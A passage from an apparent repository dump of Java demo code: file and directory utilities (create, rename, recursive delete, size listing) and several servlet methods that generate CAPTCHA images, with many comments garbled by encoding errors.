    "content": "package com.jun.plugin.file.fileupload;\n\n\nimport java.io.File;\nimport java.io.FilenameFilter;\nimport java.util.Arrays;\nimport java.util.regex.Pattern;\n\npublic class FileUtilTest {\n\t\n\t/**\n\t * @param args\n\t */\n\tpublic static void main(String[] args) {\n\n\t\tFile dir  = new File(\"e:\\\\demodir\");\n//\t\tdir.delete();\n\t\tremoveDir(dir);\n\t}\n\n\tpublic static void main11(String[] args) {\n\t\t\n\t\tFile  f = new File(\"D:\"+File.separator+\"hello\");\n\t\ttry{\n\t\t\tf.mkdir();\n\t\t}catch(Exception e){\n\t\t\te.printStackTrace();\n\t\t}\n\t}\n\t\n\tpublic static void removeDir(File dir) {\n\t\t\n\t\tFile[] files = dir.listFiles();\n\t\t\n\t\tfor(File file : files){\n\t\t\t\n\t\t\tif(file.isDirectory()){\n\t\t\t\tremoveDir(file);\n\t\t\t}else{\n\t\t\t\tSystem.out.println(file+\":\"+file.delete());\n\t\t\t}\n\t\t}\n\t\tSystem.out.println(dir+\":\"+dir.delete());\n\t}\n\t\n\t\n\tpublic static void mainDirList(String[] args) {\n\t\tFile path = new File(\".\");\n\t\tString[] list;\n\t\tif (args.length == 0) {\n\t\t\tlist = path.list();\n\t\t} else {\n\t\t\t// ���ｫ����Ĳ�����Ϊ��������?\n\t\t\tlist = path.list(new DirFilter(args[0]));\n\t\t}\n\t\tfor (int i = 0; i < list.length; i++) {\n\t\t\tSystem.out.println(list[i]);\n\t\t}\n\t}\n\n\t  private static void usage() {\n\t    System.err.println(\n\t      \"Usage:MakeDirectories path1 ...\\n\" +\n\t      \"Creates each path\\n\" +\n\t      \"Usage:MakeDirectories -d path1 ...\\n\" +\n\t      \"Deletes each path\\n\" +\n\t      \"Usage:MakeDirectories -r path1 path2\\n\" +\n\t      \"Renames from path1 to path2\");\n\t    System.exit(1);\n\t  }\n\t  \n\t  //��ʾ�ļ�����Ŀ¼����ϸ��Ϣ\n\t  private static void fileData(File f) {\n\t    System.out.println(\n\t      \"Absolute path: \" + f.getAbsolutePath() +\n\t      \"\\n Can read: \" + f.canRead() +\n\t      \"\\n Can write: \" + f.canWrite() +\n\t      \"\\n getName: \" + f.getName() +\n\t      \"\\n getParent: \" + f.getParent() +\n\t      \"\\n getPath: \" + f.getPath() +\n\t      \"\\n length: \" + f.length() +\n\t      \"\\n lastModified: \" + f.lastModified());\n\t    if(f.isFile())\n\t      System.out.println(\"It's a file\");\n\t    else if(f.isDirectory())\n\t      System.out.println(\"It's a directory\");\n\t  }\n\t  \n\t  public static void main33(String[] args) {\n\t    if(args.length < 1) usage();\n\t    if(args[0].equals(\"-r\")) {\n\t      if(args.length != 3) usage();\n\t      File\n\t        old = new File(args[1]),\n\t        rname = new File(args[2]);\n\t      old.renameTo(rname);\n\t      fileData(old);\n\t      fileData(rname);\n\t      return; \n\t    }\n\t    int count = 0;\n\t    boolean del = false;\n\t    if(args[0].equals(\"-d\")) {\n\t      count++;\n\t      del = true;\n\t    }\n\t    count--;\n\t    while(++count < args.length) {\n\t      File f = new File(args[count]);\n\t      if(f.exists()) {\n\t        System.out.println(f + \" exists\");\n\t        if(del) {\n\t          System.out.println(\"deleting...\" + f);\n\t          f.delete();\n\t        }\n\t      }\n\t      else { // Ŀ¼����������Ҫ����\n\t        if(!del) {\n\t          f.mkdirs();\n\t          System.out.println(\"created \" + f);\n\t        }\n\t      }\n\t      fileData(f);\n\t    }\n\t  }\n\t  \n\t  \n\t  \n\t  \n\t  \n\t  \n\t   \n\t  \n\t  \n\t  \n\t  \n\t  \n\t  \n\t  \n\t  \n\t  \n\n\t\tpublic static void main44(String[] args) {\n\t\t\tFile path = new File(\".\");\n\t\t\tString[] list;\n//\t\t\tif(args.length==0)\n//\t\t\t\tlist = path.list();\n//\t\t\telse\n//\t\t\t\tlist = path.list(new DirFilter(args[0]));\n\t\t\tSystem.out.println(path.getAbsolutePath()+\" size:\"+fileSize(path)+\"b\");\n\t\t\tlist = path.list(new DirFilter(\"[a-z]*\"));\n\t\t\tArrays.sort(list, String.CASE_INSENSITIVE_ORDER);\n\t\t\tfor(String dirItem : list)\n\t\t\t\tSystem.out.println(dirItem);\n\t\t}\n\t\tpublic static long fileSize(File file){\n\t\t\tlong size = 0;\n\t\t\tif(file.isDirectory()){\n\t\t\t\tfor(File f : file.listFiles())\n\t\t\t\t\tsize += fileSize(f);\n\t\t\t}else{\n\t\t\t\tsize = file.length();\n\t\t\t}\n\t\t\treturn size;\n\t\t}\n\t}\n\n \n\nclass DirFilter implements FilenameFilter {\n\tprivate Pattern pattern;\n\n\tpublic DirFilter(String regex) {\n\t\tpattern = Pattern.compile(regex);\n\t}\n\n\tpublic boolean accept(File dir, String name) {\n\t\treturn pattern.matcher(new File(name).getName()).matches();\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_fileupload/src/main/java/com/jun/plugin/file/fileupload/ImageServlet.java",
    "content": "package com.jun.plugin.file.fileupload;\n\n\nimport java.awt.Color;\nimport java.awt.Font;\nimport java.awt.Graphics;\nimport java.awt.Graphics2D;\nimport java.awt.image.BufferedImage;\nimport java.io.IOException;\nimport java.io.PrintWriter;\nimport java.util.Random;\n\nimport javax.imageio.ImageIO;\nimport javax.servlet.ServletException;\nimport javax.servlet.ServletOutputStream;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport javax.servlet.http.HttpSession;\n\npublic class ImageServlet extends HttpServlet {\n\tpublic void doGet(HttpServletRequest req, HttpServletResponse resp)\n\t\t\tthrows ServletException, IOException {\n\t\t//设置响应类型\n\t\tresp.setContentType(\"image/jpeg\");\n\t\tint width=60;\n\t\tint height=30;\n\t\tBufferedImage img = new BufferedImage(width, height,BufferedImage.TYPE_INT_RGB);\n\t\tGraphics g = img.getGraphics();\n\t\tg.setColor(Color.WHITE);\n\t\tg.fillRect(0,0, width, height);\n\t\tg.setFont(new Font(\"宋体\", Font.BOLD,18));\n\t\tRandom r = new Random();\n\t\tfor(int i=0;i<4;i++){\n\t\t\tColor c = new Color(r.nextInt(256),r.nextInt(256),r.nextInt(256));\n\t\t\tint code = r.nextInt(10);\n\t\t\tg.setColor(c);\n\t\t\tg.drawString(\"\"+code,i*15,10+r.nextInt(20));\n\t\t}\n\t\tfor(int i=0;i<10;i++){\n\t\t\tColor c = new Color(r.nextInt(256),r.nextInt(256),r.nextInt(256));\n\t\t\tg.setColor(c);\n\t\t\tg.drawLine(r.nextInt(60),r.nextInt(30),r.nextInt(60),r.nextInt(30));\n\t\t}\n\t\t//图片生效\n\t\tg.dispose();\n\t\t//写到\n\t\tImageIO.write(img, \"JPEG\",resp.getOutputStream());\n\t}\n\t\n\t\n\t\n\n\t// ���С�?\n\tprivate final int WIDTH = 120; // ctrl+shift+x / y\n\tprivate final int HEIGHT = 30;\n\n\tpublic void CheckImageServlet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\n\t\t// ������Ҫ���ڴ��й���һ��ͼƬ����\n\t\tBufferedImage bf = new BufferedImage(WIDTH, HEIGHT, BufferedImage.TYPE_INT_RGB);\n\n\t\tGraphics2D graphics = (Graphics2D) bf.getGraphics();\n\n\t\t// ���ñ�����ɫ\n\t\tColor color = new Color(203, 222, 225);\n\t\tgraphics.setColor(color);\n\t\tgraphics.fillRect(0, 0, WIDTH, HEIGHT);\n\n\t\tString base = \"ABCDEFGHIJKLMN\";\n\t\tRandom random = new Random();\n\n\t\t// ״̬��: ��������ù�֮ǰ�����?, �Ƕ�.����, ��С�ȵ���Щ��Ϣ,\n\t\t// ��ô����������,�����û��? ��ȥ ���ö�Ӧapi ȥ�����Щ�?,\n\t\t// ��ô��Ȼ������֮ǰ�����ù��״�?\n\n\t\tgraphics.setColor(Color.RED);\n\t\tgraphics.setFont(new Font(\"����\", Font.BOLD, 18));\n\t\tint m = 13;\n\n\t\tStringBuilder sb = new StringBuilder();\n\n\t\t// ��4 ���ַ�\n\t\tfor (int i = 0; i < 4; i++) {\n\n\t\t\tint index = random.nextInt(base.length());\n\t\t\tchar charAt = base.charAt(index);\n\n\t\t\t// -30 --- 30 15\n\t\t\tint jiaodu = random.nextInt(60) - 30;\n\n\t\t\t// �Ƕȱ� ����:�� ���е�ʱ��ѧ��\n\t\t\tdouble theta = jiaodu * Math.PI / 180;\n\n\t\t\t// ����theta Ҫ���� ����,\n\t\t\tgraphics.rotate(theta, m, 15);\n\t\t\tgraphics.drawString(charAt + \"\", m, 19);\n\t\t\tsb.append(charAt);\n\n\t\t\tgraphics.rotate(-theta, m, 15);\n\t\t\tm += 20;\n\t\t}\n\n\t\t// �� sb �浽 session ��������?\n\t\trequest.getSession().setAttribute(\"checkcode_session\", sb.toString());\n\n\t\t// �� 4 ��������\n\t\tgraphics.setColor(Color.BLUE);\n\t\tfor (int i = 0; i < 4; i++) {\n\t\t\t// �������? ����\n\t\t\tint x1 = random.nextInt(WIDTH);\n\t\t\tint x2 = random.nextInt(WIDTH);\n\t\t\tint y1 = random.nextInt(HEIGHT);\n\t\t\tint y2 = random.nextInt(HEIGHT);\n\t\t\tgraphics.drawLine(x1, y1, x2, y2);\n\t\t}\n\n\t\t// �ͷ���Դ\n\t\tgraphics.dispose();\n\n\t\tImageIO.write(bf, \"png\", response.getOutputStream());\n\t}\n\t\n\n\n\tpublic void GetImageServlet(HttpServletRequest request, HttpServletResponse response)\n\t\t\tthrows ServletException, IOException {\n\t\t\n\t\t//获得�?张图�?\n\t\t\n\t\t// 创建图片 -- 在内存中\n\t\tint width = 80;\n\t\tint height = 40;\n\t\tBufferedImage image = new BufferedImage(width, height, BufferedImage.TYPE_INT_RGB);\n\t\t\n\t\t//创建图层，获得画�?\n\t\tGraphics g = image.getGraphics();\n\t\t//确定画笔颜色\n\t\tg.setColor(Color.BLACK);\n\t\t//填充�?个矩�?\n\t\tg.fillRect(0, 0, width, height);\n\t\t//只需要一个边�?\n\t\t//设置颜色\n\t\tg.setColor(Color.WHITE);\n\t\t//填充�?个矩�?\n\t\tg.fillRect(1, 1, width -2, height -2);\n\t\t\n\t\t//填充字符\n\t\tString data = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789\";\n\t\t//设置字体\n\t\tg.setFont(new Font(\"宋体\",Font.BOLD,30));\n\t\t\n\t\t//缓存随机生成的字�?\n\t\tStringBuffer buf = new StringBuffer();\n\t\t\n\t\t//随机获得4个字�?\n\t\tRandom random = new Random();\n\t\tfor(int i = 0 ; i < 4 ; i++){\n\t\t\t//设置随机颜色\n\t\t\tg.setColor(new Color(random.nextInt(255),random.nextInt(255),random.nextInt(255)));\n\t\t\t//获得�?个随机字�?\n\t\t\tint index = random.nextInt(62);\n\t\t\t//截取字符�?\n\t\t\tString str = data.substring(index, index + 1);  //[)\n\t\t\t//�?要将随机的字符，写到图片�?\n\t\t\tg.drawString(str, 20 * i, 30);\n\t\t\t//缓存\n\t\t\tbuf.append(str);\n\t\t}\n\t\t\n\t\t//将获得随机字符串，保存到session\n\t\t// * 获得session\n\t\tHttpSession session = request.getSession();\n\t\t// * 保存�?\n\t\tsession.setAttribute(\"number\", buf.toString());\n\t\t\n\t\t//干扰�?\n\t\tfor(int i = 0 ; i < 10 ; i ++){\n\t\t\t//设置随机颜色\n\t\t\tg.setColor(new Color(random.nextInt(255),random.nextInt(255),random.nextInt(255)));\n\t\t\t//随机画直�?\n\t\t\tg.drawLine(random.nextInt(width), random.nextInt(height), random.nextInt(width), random.nextInt(height));\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t/**\n\t\t * <extension>jpg</extension>\n        <mime-type>image/jpeg</mime-type>\n\t\t */\n\t\t//通知浏览器发送的数据时一张图�?\n\t\tresponse.setContentType(\"image/jpeg\");\n\t\t//将图片发送给浏览�?\n\t\tImageIO.write(image, \"jpg\", response.getOutputStream());\n\t\t\n\t\t\n\n\t}\n\t\n\t\n\t\n\t\n\t/**\n\t * 验证码图片宽�? \n\t */\n\tprivate final int IMG_WIDTH = 90;\n\t/**\n\t * 验证码图片高�? \n\t */\n\tprivate final int IMG_HEIGHT = 20;\n\t/**\n\t * 验证码字�?\n\t */\n\tprivate final String strs = \"1234567890abcdefghijklmnopqrstuvwxyz\";\n//\tprivate final String strs = \"1234567890abcdefghijklmnopqrstuvwxyz�?二三四五六七八九十壹贰叁肆伍陆柒捌玖�?\";\n\t\n\tprotected void GetCodeServlet(HttpServletRequest req, HttpServletResponse resp)\n\t\t\tthrows ServletException, IOException {\n\t\tBufferedImage bi = new BufferedImage(IMG_WIDTH, IMG_HEIGHT, BufferedImage.TYPE_INT_RGB);\n\t\tGraphics2D g2d = bi.createGraphics();\n\t\tRandom random = new Random();\n\t\t//设置字体\n\t\tg2d.setFont(new Font(\"宋体\", Font.BOLD, 14));\n\t\t//填充白色矩形\n\t\tg2d.setColor(Color.WHITE);\n\t\tg2d.fillRect(0, 0, IMG_WIDTH, IMG_HEIGHT);\n\t\t\n\t\tint x1, y1, x2, y2;\n\t\tfor(int i = 0; i < 50; i++){\n\t\t\t//随机�?\n\t\t\tg2d.setColor(new Color(random.nextInt(256), random.nextInt(256), random.nextInt(256)));\n\t\t\tx1 = random.nextInt(IMG_WIDTH);\n\t\t\ty1 = random.nextInt(IMG_HEIGHT);\n\t\t\tx2 = random.nextInt(3) + x1;\n\t\t\ty2 = random.nextInt(3) + y1;\n\t\t\tg2d.drawLine(x1, y1, x2, y2);\n\t\t}\n\t\t\n\t\t//4字符验证�?\n\t\tchar[] charArray = strs.toCharArray();\n\t\tString code = \"\";\n\t\tfor(int i = 0; i < 4; i++){\n\t\t\tg2d.setColor(new Color(random.nextInt(256), random.nextInt(256), random.nextInt(256)));\n\t\t\tString s = String.valueOf(charArray[random.nextInt(charArray.length)]);\n\t\t\tcode += s;\n\t\t\tg2d.drawString(s, 15 * (i + 1), 15);\n\t\t}\n\t\t\n\t\t//将验证码值放入session中，以待验证。此Demo没有使用�?\n\t\tHttpSession session = req.getSession();\n\t\tsession.setAttribute(\"code\", code);\n\t\t// 禁止缓存\n        resp.setHeader(\"Prama\", \"no-cache\");\n        resp.setHeader(\"Coche-Control\", \"no-cache\");\n        resp.setDateHeader(\"Expires\", 0);\n        resp.setContentType(\"image/jpeg\");\n        // 将图像输出到\n        ServletOutputStream sos = resp.getOutputStream();\n        ImageIO.write(bi, \"jpeg\", sos);\n        sos.close();\n\t}\n\t@Override\n\tprotected void doPost(HttpServletRequest req, HttpServletResponse resp)\n\t\t\tthrows ServletException, IOException {\n\t\tdoGet(req, resp);\n\t}\n\n\t\n\n\tpublic static final int width = 120;\n\tpublic static final int heigth = 30;\n\n\tpublic void RandomImage(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n\t\tresponse.setContentType(\"test/html;charset=UTF-8\");\n\t\t// image���ʾͼ��ͼ��?,BufferedImage��image�����ࣻImageͨ��������ȡͼƬ��\n\t\t// BufferedImage���пɷ���ͼ����ݻ�����?; BufferedImageͨ�������޸�ͼƬ��С������ͼƬ�����ȣ�\n\t\tBufferedImage image = new BufferedImage(width, heigth, BufferedImage.TYPE_INT_RGB);// 8 λ RGB��ɫ������ͼ��\n\t\t// Graphics��ʾ�ɻ��Ƶ�ͼ�� Graphics2D�� Graphics�����࣬�ṩ������״�����ת������ɫ������ı����ֵȸ�Ϊ���ӵĿ��ơ�\n\t\tGraphics g = image.getGraphics();\n\n\t\tsetBackGround(g);// ���ñ���ɫ\n\t\tsetBorder(g);// ���ñ߿�\n\t\tdrawRandomLine(g);// ��������\n\n\t\t// д�����?\n\t\tString randomImage = drawRandomNumber((Graphics2D) g);// ���������?\n\t\trequest.getSession().setAttribute(\"randomImage\", randomImage);\n\n\t\tresponse.setContentType(\"image/jpeg\");// ����������򿪷��?\n\n\t\t// ������������ܻ����ͼƬ\n\t\tresponse.setHeader(\"expires\", \"-1\");\n\t\tresponse.setHeader(\"Cache-Control\", \"no-cache\");\n\t\tresponse.setHeader(\"Pragma\", \"no-cache\");\n\n\t\tImageIO.write(image, \"jpg\", response.getOutputStream());// ��ָ����ʽ��ͼƬд��ָ���������?\n\t}\n\n\tprivate String drawRandomNumber(Graphics2D g) {\n\t\tg.setColor(Color.RED);// ����ͼ�������ĵĵ�ǰ��ɫ����Ϊָ����ɫ��\n\t\tg.setFont(new Font(\"����\", Font.BOLD, 20));\n\t\tString base = \"\\u8981\\u8fc7\\u53bb\\uff0c\\u4f46\\u90a3\\u771f\\u6b63\\u6e29\\u6696\\u7684\\u6625\\u5929\\u8fd8\\u8fdc\\u8fdc\\u5730\\u6ca1\\u6709\\u5230\\u6765\\u3002\\u5728\\u8fd9\\u6837\\u96e8\\u96ea\\u4ea4\\u52a0\\u7684\\u65e5\\u5b50\\u91cc\\uff0c\\u5982\\u679c\\u6ca1\\u6709\\u4ec0\\u4e48\\u7d27\\u8981\\u4e8b\\uff0c\\u4eba\\u4eec\\u5b81\\u613f\\u4e00\\u6574\\u5929\\u8db3\\u4e0d\\u51fa\\u6237\\u3002\\u56e0\\u6b64\\uff0c\\u53bf\\u57ce\\u7684\\u5927\\u8857\\u5c0f\\u5df7\\u5012\\u4e5f\\u6bd4\\u5e73\\u65f6\\u5c11\\u4e86\\u8bb8\\u591a\\u5608\\u6742\\u3002\\u8857\\u5df7\\u80cc\\u9634\\u7684\\u5730\\u65b9\\u3002\\u51ac\\u5929\\u6b8b\\u7559\\u7684\\u79ef\\u96ea\\u548c\\u51b0\\u6e9c\\u5b50\\u6b63\\u5728\\u96e8\\u70b9\\u7684\\u6572\\u51fb\\u4e0b\\u8680\\u5316\\uff0c\\u77f3\\u677f\\u8857\\u4e0a\\u5230\\u5904\\u90fd\\u6f2b\\u6d41\\u7740\\u80ae\\u810f\\u7684\\u6c61\\u6c34\\u3002\\u98ce\\u4f9d\\u7136\\u662f\\u5bd2\\u51b7\\u7684\\u3002\\u7a7a\\u8361\\u8361\\u7684\\u8857\\u9053\\u4e0a\\uff0c\\u6709\\u65f6\\u4f1a\\u5076\\u5c14\\u8d70\\u8fc7\\u6765\\u4e00\\u4e2a\\u4e61\\u4e0b\\u4eba\\uff0c\\u7834\\u6be1\\u5e3d\\u62a4\\u7740\\u8111\\u95e8\\uff0c\\u80f3\\u818a\\u4e0a\\u633d\\u4e00\\u7b50\\u5b50\\u571f\\u8c46\\u6216\\u841d\\u535c\\uff0c\\u6709\\u6c14\\u65e0\\u529b\\u5730\\u547c\\u5524\\u7740\\u4e70\\u4e3b\\u3002\\u5509\\uff0c\\u57ce\\u5e02\\u5728\\u8fd9\\u6837\\u7684\\u65e5\\u5b50\\u91cc\\u5b8c\\u5168\\u4e27\\u5931\\u4e86\\u751f\\u6c14\\uff0c\\u53d8\\u5f97\\u6ca1\\u6709\\u4e00\\u70b9\\u53ef\\u7231\\u4e4b\\u5904\\u4e86\\u3002\\u53ea\\u6709\\u5728\\u534a\\u5c71\\u8170\\u53bf\\u7acb\\u9ad8\\u4e2d\\u7684\\u5927\\u9662\\u575d\\u91cc\\uff0c\\u6b64\\u523b\\u5374\\u81ea\\u6709\\u4e00\\u756a\\u70ed\\u95f9\\u666f\\u8c61\\u3002\\u5348\\u996d\\u94c3\\u58f0\\u521a\\u521a\\u54cd\\u8fc7\\uff0c\\u4ece\\u4e00\\u6392\\u6392\\u9ad8\\u4f4e\\u9519\\u843d\\u7684\\u77f3\\u7a91\\u6d1e\\u91cc\\uff0c\\u5c31\\u8dd1\\u51fa\\u6765\\u4e86\\u4e00\\u7fa4\\u4e00\\u4f19\\u7684\\u7537\\u7537\\u5973\\u5973\\u3002\\u4ed6\\u4eec\\u628a\\u7897\\u7b77\\u6572\\u5f97\\u9707\\u5929\\u4ef7\\u54cd\\uff0c\\u8e0f\\u6ce5\\u5e26\\u6c34\\u3001\\u53eb\\u53eb\\u56b7\\u56b7\\u5730\\u8dd1\\u8fc7\\u9662\\u575d\\uff0c\\u5411\\u5357\\u9762\\u603b\\u52a1\\u5904\\u90a3\\u4e00\\u6392\\u7a91\\u6d1e\\u7684\\u5899\\u6839\\u4e0b\\u8702\\u6d8c\\u800c\\u53bb\\u3002\\u504c\\u5927\\u4e00\\u4e2a\\u9662\\u5b50\\uff0c\\u970e\\u65f6\\u5c31\\u88ab\\u8fd9\\u7eb7\\u4e71\\u7684\\u4eba\\u7fa4\\u8e29\\u8e0f\\u6210\\u4e86\\u4e00\\u7247\\u70c2\\u6ce5\\u6ee9\\u3002\\u4e0e\\u6b64\\u540c\\u65f6\\uff0c\\u90a3\\u4e9b\\u5bb6\\u5728\\u672c\\u57ce\\u7684\\u8d70\\u8bfb\\u751f\\u4eec\\uff0c\\u4e5f\\u6b63\\u4e09\\u4e09\\u4e24\\u4e24\\u6d8c\\u51fa\\u4e1c\\u9762\\u5b66\\u6821\\u7684\\u5927\\u95e8\\u3002\\u4ed6\\u4eec\\u6491\\u7740\\u96e8\\u4f1e\\uff0c\\u4e00\\u8def\\u8bf4\\u8bf4\\u7b11\\u7b11\\uff0c\\u901a\\u8fc7\\u4e00\\u6bb5\\u65e9\\u5e74\\u95f4\\u7528\\u6a2a\\u77f3\\u7247\\u63d2\\u8d77\\u7684\\u957f\\u957f\\u7684\\u4e0b\\u5761\\u8def\\uff0c\\u4e0d\\u591a\\u65f6\\u4fbf\\u7eb7\\u7eb7\\u6d88\\u5931\\u5728\\u57ce\\u5e02\\u7684\\u5927\\u8857\\u5c0f\\u5df7\\u4e2d\\u3002\\u5728\\u6821\\u56ed\\u5185\\u7684\\u5357\\u5899\\u6839\\u4e0b\\uff0c\\u73b0\\u5728\\u5df2\\u7ecf\\u6309\\u73ed\\u7ea7\\u6392\\u8d77\\u4e86\\u5341\\u51e0\\u8def\\u7eb5\\u961f\\u3002\\u5404\\u73ed\\u7684\\u503c\\u65e5\\u751f\\u6b63\\u5728\\u5fd9\\u788c\\u5730\\u7ed9\\u4f17\\u4eba\\u5206\\u996d\\u83dc\\u3002\\u6bcf\\u4e2a\\u4eba\\u7684\\u996d\\u83dc\\u90fd\\u662f\\u6628\\u5929\\u767b\\u8bb0\\u597d\\u5e76\\u4ed8\\u4e86\\u996d\\u7968\\u7684\\uff0c\\u56e0\\u6b64\\u7a0b\\u5e8f\\u5e76\\u4e0d\\u590d\\u6742\\uff0c\\u73b0\\u5728\\u503c\\u65e5\\u751f\\u53ea\\u662f\\u6309\\u996d\\u8868\\u4ed8\\u7ed9\\u6bcf\\u4eba\\u9884\\u8ba2\\u7684\\u4e00\\u4efd\\u3002\\u83dc\\u5206\\u7532\\u3001\\u4e59\\u3001\\u4e19\\u4e09\\u7b49\\u3002\\u7532\\u83dc\\u4ee5\\u571f\\u8c46\\u3001\\u767d\\u83dc\\u3001\\u7c89\\u6761\\u4e3a\\u4e3b\\uff0c\\u91cc\\u9762\\u6709\\u4e9b\\u53eb\\u4eba\\u5634\\u998b\\u7684\\u5927\\u8089\\u7247\\uff0c\\u6bcf\\u4efd\\u4e09\\u6bdb\\u94b1\\uff1b\\u4e59\\u83dc\\u5176\\u5b83\\u5185\\u5bb9\\u548c\\u7532\\u83dc\\u4e00\\u6837\\uff0c\\u53ea\\u662f\\u6ca1\\u6709\\u8089\\uff0c\\u6bcf\\u4efd\\u4e00\\u6bdb\\u4e94\\u5206\\u94b1\\u3002\\u4e19\\u83dc\\u53ef\\u5c31\\u5dee\\u8fdc\\u4e86\\uff0c\\u6e05\\u6c34\\u716e\\u767d\\u841d\\u535c\\u2014\\u2014\\u4f3c\\u4e4e\\u53ea\\u662f\\u4e3a\\u4e86\\u63a9\\u9970\\u8fd9\\u8fc7\\u5206\\u7684\\u6e05\\u6de1\\uff0c\\u624d\\u5728\\u91cc\\u9762\\u8c61\\u5f81\\u6027\\u5730\\u6f02\\u4e86\\u51e0\\u70b9\\u8fa3\\u5b50\\u6cb9\\u82b1\\u3002\\u4e0d\\u8fc7\\uff0c\\u8fd9\\u83dc\\u4ef7\\u94b1\\u5012\\u4e5f\\u4fbf\\u5b9c\\uff0c\\u6bcf\\u4efd\\u4e94\\u5206\\u94b1\\u3002\\u5404\\u73ed\\u7684\\u7532\\u83dc\\u53ea\\u662f\\u5728\\u5c0f\\u8138\\u76c6\\u91cc\\u76db\\u4e00\\u70b9\\uff0c\\u770b\\u6765\\u5403\\u5f97\\u8d77\\u8089\\u83dc\\u7684\\u5b66\\u751f\\u6ca1\\u6709\\u51e0\\u4e2a\\u3002\\u4e19\\u83dc\\u4e5f\\u7528\\u5c0f\\u8138\\u76c6\\u76db\\u4e00\\u70b9\\uff0c\\u8bf4\\u660e\\u5403\\u8fd9\\u79cd\\u4e0b\\u7b49\\u4f19\\u98df\\u7684\\u4eba\\u4e5f\\u6ca1\\u6709\\u591a\\u5c11\\u3002\\u53ea\\u6709\\u4e59\\u83dc\\u5404\\u73ed\\u90fd\\u7528\\u70e7\\u74f7\\u5927\\u811a\\u76c6\\u76db\\u7740\\uff0c\\u6d77\\u6d77\\u6f2b\\u6f2b\\u7684\\uff0c\\u663e\\u7136\\u5927\\u90e8\\u5206\\u4eba\\u90fd\\u5403\\u8fd9\\u79cd\\u65e2\\u4e0d\\u5962\\u4f88\\u4e5f\\u4e0d\\u5bd2\\u9178\\u7684\\u83dc\\u3002\";\n\t\tint x = 5;\n\t\tStringBuffer sb = new StringBuffer();\n\t\tfor (int i = 0; i < 4; i++) {\n\t\t\t// n����=n*180/��(��)\n\t\t\tint degree = new Random().nextInt() % 30; // �����?30����30�������?\n\t\t\t// ��ȡָ�����λ�õ��ַ�?\n\t\t\tString ch = base.charAt(new Random().nextInt(base.length())) + \"\";\n\t\t\tsb.append(ch);\n\t\t\tg.rotate(degree * Math.PI / 180, x, 25);\n\t\t\tg.drawString(ch, x, 25);// ���ַ�д��ָ��λ�ã� ������������½�Ϊ׼��?\n\t\t\tg.rotate(-degree * Math.PI / 180, x, 25);// д��֮��ԭ��ת�Ƕȣ�\n\t\t\tx += 30;\n\t\t}\n\t\treturn sb.toString();\n\t}\n\n\tprivate void drawRandomLine(Graphics g) {\n\t\tg.setColor(Color.GREEN);\n\t\tfor (int i = 0; i < 5; i++) {\n\t\t\tint x = new Random().nextInt(width);\n\t\t\tint y = new Random().nextInt(heigth);\n\t\t\tint x1 = new Random().nextInt(width);\n\t\t\tint y1 = new Random().nextInt(heigth);\n\t\t\tg.drawLine(x, y, x1, y1);\n\t\t}\n\t}\n\n\tprivate void setBorder(Graphics g) {\n\t\tg.setColor(Color.BLUE);\n\t\tg.drawRect(1, 1, width - 2, heigth - 2);\n\t}\n\n\tprivate void setBackGround(Graphics g) {\n\t\tg.setColor(Color.WHITE);\n\t\tg.fillRect(0, 0, width, heigth);\n\t}\n\n\n\n\tpublic void ImageServlet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {\n\t\t// 设置响应类型\n\t\tresp.setContentType(\"image/jpeg\");\n\t\tint width = 60;\n\t\tint height = 30;\n\t\tBufferedImage img = new BufferedImage(width, height, BufferedImage.TYPE_INT_RGB);\n\t\tGraphics g = img.getGraphics();\n\t\tg.setColor(Color.WHITE);\n\t\tg.fillRect(0, 0, width, height);\n\t\tg.setFont(new Font(\"宋体\", Font.BOLD, 18));\n\t\tRandom r = new Random();\n\t\tfor (int i = 0; i < 4; i++) {\n\t\t\tColor c = new Color(r.nextInt(256), r.nextInt(256), r.nextInt(256));\n\t\t\tint code = r.nextInt(10);\n\t\t\tg.setColor(c);\n\t\t\tg.drawString(\"\" + code, i * 15, 10 + r.nextInt(20));\n\t\t}\n\t\tfor (int i = 0; i < 10; i++) {\n\t\t\tColor c = new Color(r.nextInt(256), r.nextInt(256), r.nextInt(256));\n\t\t\tg.setColor(c);\n\t\t\tg.drawLine(r.nextInt(60), r.nextInt(30), r.nextInt(60), r.nextInt(30));\n\t\t}\n\t\t// 图片生效\n\t\tg.dispose();\n\t\t// 写到\n\t\tImageIO.write(img, \"JPEG\", resp.getOutputStream());\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_fileupload/src/main/java/com/jun/plugin/file/fileupload/UploadHelper.java",
    "content": "package com.jun.plugin.file.fileupload;\n/**\n * ????????\n */\n\n/**\n * @author advance\n *\n */\nimport java.awt.Color;\nimport java.awt.Graphics2D;\nimport java.awt.Image;\nimport java.awt.RenderingHints;\nimport java.awt.image.BufferedImage;\nimport java.io.BufferedInputStream;\nimport java.io.BufferedOutputStream;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileOutputStream;\nimport java.io.FileWriter;\nimport java.io.FilenameFilter;\nimport java.io.PrintWriter;\nimport java.text.SimpleDateFormat;\nimport java.util.Calendar;\nimport java.util.Date;\n\n\n\npublic class UploadHelper {\n\t\n\tpublic final static String separator = \"/\";\n\tpublic final static String split = \"_\";\n\t\n\n\tclass FilenameFilterImpl implements FilenameFilter \n\t{\n\t\tprivate String filter = \".\";\n\t\t\n\t\tpublic FilenameFilterImpl(String aFilter)\n\t\t{\n\t\t\tfilter = aFilter;\n\t\t}\n\t\t\n    \tpublic boolean accept(File dir, String name) \n    \t{\n        \treturn name.startsWith(filter);\n    \t}\n\t};\n\t/**\n\t * ��õ�ǰ���ļ�·����ͨ����ǰ�������ɣ�?\n\t * @param basePath\n\t * @return\n\t */\n\tpublic static String getNowFilePath(String basePath){\n\t\tSimpleDateFormat formater =new SimpleDateFormat(\"yyyy-MM-dd\");\n\t\tString pathName = formater.format(new Date());\n\t\tFile dir = new File(basePath + separator + pathName);\n\t\tif(!dir.exists())\n\t\t\tdir.mkdir();\n\t\treturn pathName;\n\t}\n\t\n\tpublic static String getNewFileName(String oldFileName){\n\t\toldFileName = oldFileName.replaceAll(\"'\", \"\").replaceAll(\"\\\"\", 